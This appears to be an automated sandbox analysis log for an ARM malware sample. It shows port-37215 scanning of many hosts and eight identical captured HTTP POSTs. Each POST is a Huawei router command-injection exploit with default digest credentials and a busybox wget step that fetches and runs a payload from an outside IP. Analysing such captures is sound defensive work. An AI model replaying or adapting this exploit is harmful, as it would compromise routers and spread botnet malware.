Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.44.189.13:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.104.70.65:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.198.249.242:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.131.246.48:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.160.47.247:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.84.1.84:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.98.187.13:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.20.163.134:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.44.111.143:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.98.93.58:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.35.184.139:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.220.143.244:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.126.173.246:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.108.12.84:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.214.159.198:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.131.193.1:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.24.126.199:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.35.206.232:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.133.199.229:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.146.223.212:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.17.50.162:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.182.177.15:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.181.241.168:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.215.111.209:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.247.146.142:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.116.224.28:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.111.80.213:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.179.114.147:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.130.101.51:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.98.183.76:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.70.115.208:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.192.228.59:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.212.57.64:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.100.233.112:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.97.52.12:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.37.162.250:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.222.98.74:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.129.219.100:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.135.115.126:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.62.2.147:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.177.230.161:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.70.80.91:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.82.124.155:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.95.50.211:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.68.9.169:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.50.47.179:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.90.105.173:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.85.80.87:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.171.62.247:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.127.78.205:37215
Source: global traffic	TCP traffic: 192.168.2.23:27221 -> 197.217.105.180:37215

Source: /tmp/apep.arm7 (PID: 5212)

Socket: 127.0.0.1::45837

Jump to behavior

Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 33 36 2e 34 33 2e 31 32 36 20 2d 6c 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 2d 72 20 2f 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 3b 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 30 64 61 79 2e 72 6f 75 74 65 72 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.136.43.126 -l /tmp/monke -r /x; /bin/busybox chmod 777 * /tmp/monke; /tmp/monke 0day.router)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 33 36 2e 34 33 2e 31 32 36 20 2d 6c 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 2d 72 20 2f 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 3b 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 30 64 61 79 2e 72 6f 75 74 65 72 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.136.43.126 -l /tmp/monke -r /x; /bin/busybox chmod 777 * /tmp/monke; /tmp/monke 0day.router)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 33 36 2e 34 33 2e 31 32 36 20 2d 6c 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 2d 72 20 2f 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 3b 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 30 64 61 79 2e 72 6f 75 74 65 72 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.136.43.126 -l /tmp/monke -r /x; /bin/busybox chmod 777 * /tmp/monke; /tmp/monke 0day.router)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 33 36 2e 34 33 2e 31 32 36 20 2d 6c 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 2d 72 20 2f 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 3b 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 30 64 61 79 2e 72 6f 75 74 65 72 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.136.43.126 -l /tmp/monke -r /x; /bin/busybox chmod 777 * /tmp/monke; /tmp/monke 0day.router)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 33 36 2e 34 33 2e 31 32 36 20 2d 6c 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 2d 72 20 2f 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 3b 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 30 64 61 79 2e 72 6f 75 74 65 72 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.136.43.126 -l /tmp/monke -r /x; /bin/busybox chmod 777 * /tmp/monke; /tmp/monke 0day.router)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 33 36 2e 34 33 2e 31 32 36 20 2d 6c 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 2d 72 20 2f 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 3b 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 30 64 61 79 2e 72 6f 75 74 65 72 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.136.43.126 -l /tmp/monke -r /x; /bin/busybox chmod 777 * /tmp/monke; /tmp/monke 0day.router)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 33 36 2e 34 33 2e 31 32 36 20 2d 6c 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 2d 72 20 2f 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 3b 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 30 64 61 79 2e 72 6f 75 74 65 72 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.136.43.126 -l /tmp/monke -r /x; /bin/busybox chmod 777 * /tmp/monke; /tmp/monke 0day.router)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 33 36 2e 34 33 2e 31 32 36 20 2d 6c 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 2d 72 20 2f 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 3b 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 30 64 61 79 2e 72 6f 75 74 65 72 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.136.43.126 -l /tmp/monke -r /x; /bin/busybox chmod 777 * /tmp/monke; /tmp/monke 0day.router)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
